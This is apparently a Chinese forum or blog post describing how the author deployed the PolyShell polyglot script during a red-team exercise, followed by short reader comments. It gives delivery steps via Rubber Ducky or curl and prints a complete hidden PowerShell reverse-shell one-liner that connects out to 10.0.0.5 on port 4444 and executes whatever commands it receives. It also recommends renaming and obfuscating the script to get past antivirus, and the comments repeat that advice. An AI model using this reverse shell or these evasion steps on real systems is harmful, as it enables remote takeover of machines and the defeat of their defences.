渗透测试快速部署PolyShell?
TOPIC SOURCE
PolyShell:一款适用于Bash、Batch、PowerShell的polyglot
说到渗透测试,我最近在一次红队演练里临时想玩点新鲜的——PolyShell。记得那天凌晨两点,咖啡还在冒蒸气,我正盯着目标机器的日志文件,突然想到如果能一次性兼容 Bash、Batch 甚至 PowerShell,岂不是省了不少切换脚本的功夫?于是我把 PolyShell 拉到本地,准备来一场“快速部署”。

三步搞定部署
- 克隆仓库:
git clone https://github.com/llamasoft/polyshell.git,顺手把polyshell.sh复制一份改名p.sh,防止误删。 - 给目标机器投递:如果能跑 USB Rubber Ducky,直接写进 payload;不行的话,用
curl把脚本拉下来,记得加上chmod +x。 - 启动循环:在目标终端敲
./p.sh,看到 “PolyShell ready” 的提示,说明已进入读取循环,后续所有命令都能直接塞进去。
# 示例:一次性打开 PowerShell 反弹
./p.sh && powershell -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.5',4444);$stream = $client.GetStream();[byte[]]$buf = 0..65535|%{0};while(($i = $stream.Read($buf,0,$buf.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buf,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"
实际跑起来的时候,我发现有两点坑:一是某些老旧的 Windows CMD 会把循环结束的换行当成新命令,导致脚本卡死;二是如果目标机器的防病毒已经把 polyshell.sh 当成可疑文件,直接拦截。解决办法也很土——换个文件名、加点混淆,或者直接把脚本写进 .bat 再执行。
总的来说,PolyShell 真是渗透测试里的一把瑞士军刀,省时省力。下次再遇到语言不统一的目标,我已经把这套流程写进我的笔记本,随时 ready。

参与讨论
这玩意儿真的挺省事的👍。
老早踩过同样的坑,文件名改了才行。
防毒直接拦住,换个名字试试?